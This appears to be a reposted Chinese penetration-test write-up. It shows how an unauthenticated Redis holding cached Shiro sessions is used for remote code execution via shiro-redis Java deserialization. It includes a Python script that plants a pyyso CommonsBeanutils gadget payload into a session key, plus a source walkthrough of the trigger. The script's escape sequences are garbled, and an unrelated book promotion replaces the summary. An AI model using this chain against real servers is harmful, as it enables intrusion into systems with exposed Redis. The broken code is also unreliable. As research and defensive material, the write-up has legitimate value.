redis未授权到shiro反序列化
0x01 简介
在一次渗透测试的过程中发现6379端口上开着一个未授权的redis,尝试利用redis进行rce失败。又发现redis缓存了shiro的session,最终通过redis未授权配合shiro-redis反序列化实现rce
0x02 尝试redis rce
拿到目标站点ip,首先使用nmap,shodan收集端口信息
shodan检测显示6379端口存在redis未授权
redis-cli登陆一下,收集信息,发现是3.2.100版本,操作系统是windows
考虑一下目前爆出的redis漏洞,一般都需要linux系统环境,4.X及以上的redis版本,这台redis打不了。
也尝试了redis写webshell,redis写sshkey,均利用不成功。
这个时候注意到了redis里面存储了shiro的session:
将value读取出来,发现里面数据开头是xacxed,经典的java序列化数据开头。
0x03 shiro-redis反序列化
查看文档知道作者要求导入如下依赖:
<dependency>
<groupId>org.crazycake</groupId>
<artifactId>shiro-redis</artifactId>
<version>3.3.1</version>
</dependency>
首先本地启动一个3.2.100版本的redis镜像,然后下载这个项目,在IDEA中运行。
由于redis-cli或redis图形化客户端将hex形式的poc存入redis会出现字符转义不正确或者其他问题,我使用python编写脚本将poc写入redis。脚本内容如下:
import pyyso
import socket
s=socket.socket()
s.connect(("127.0.0.1",6379))
whatever=b"123"
key=b"shiro:session:"+whatever
value=pyyso.cb1v192("open /")
s.send(b"x2ax33x0dx0ax24x33x0dx0aSETrnx24"+str(len(key)).encode()+b"rn"+key+b"rnx24"+str(len(value)).encode()+b"rn"+value+b"rn")
if b"+OK" in s.recv(3):
print("success")
pyyso可以直接生成反序列化的数据,简化脚本编写。
然后使用socket发送set指令来写入poc。这里redis的set指令格式如下
x2ax33 固定值
x0dx0a 换行
x24x33 固定值
x0dx0a 换行
SET
x0dx0a 换行
x24x??x?? 十进制的key长度,例如3就是x33,12就是x31x32
x0dx0a 换行
x??x?? key
x0dx0a 换行
x24x??x?? 十进制的value长度
x0dx0a 换行
x??x?? value
x0dx0a 换行
shiro:session:123
的key写入了redis中,内容即嵌入了指令的cb链0x04 调试分析
org.crazycake.shiro-redis
,触发点在org.crazycake.shiro.RedisSessionDAO#doReadSession
,当shiro需要从redis读取session时就会调用这个方法protected Session doReadSession(Serializable sessionId) {
...
Session session = null;
try {
String sessionRedisKey = getRedisSessionKey(sessionId);
logger.debug("read session: " + sessionRedisKey + " from Redis");
session = (Session) valueSerializer.deserialize(redisManager.get(keySerializer.serialize(sessionRedisKey))); //触发点
if (this.sessionInMemoryEnabled) {
setSessionToThreadLocal(sessionId, session);
}
} catch (SerializationException e) {
logger.error("read session error. sessionId: " + sessionId);
}
return session;
}
redisManager.get
获取redis中存储的序列化数据,然后交给valueSerializer.deserialize
进行反序列化。这里跟进去,定位到org.crazycake.shiro.serializer.ObjectSerializer#deserialize
:public Object deserialize(byte[] bytes) throws SerializationException {
Object result = null;
if (bytes == null || bytes.length == 0) {
return result;
}
try {
ByteArrayInputStream byteStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new MultiClassLoaderObjectInputStream(byteStream);
result = objectInputStream.readObject();
} catch (IOException e) {
throw new SerializationException("deserialize error", e);
} catch (ClassNotFoundException e) {
throw new SerializationException("deserialize error", e);
}
return result;
}
0x05 总结

硬件产品开发是一项复杂的工程,涉及产品定义、成本控制、质量管理、进度管理、研发管理、生产管控、供应链管理和售后服务等多个环节。合理的流程可以化繁为简,提升沟通及合作效率,降低风险,确保项目按计划交付。
本书分为10个章节,分别对硬件产品开发过程中的各个关键环节进行了详细的介绍。每个环节都有相应的模板和说明,并且通过实际案例来说明流程的重要性和使用方法,旨在帮助硬件工程师和初创团队更快地熟悉和掌握开发流程。
本书内容深入浅出、易学易懂,适合广大高校的师生、硬件工程师和初创团队的管理者参考使用。
原文始发于微信公众号(橘猫学安全):redis未授权到shiro反序列化【文末抽奖】
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论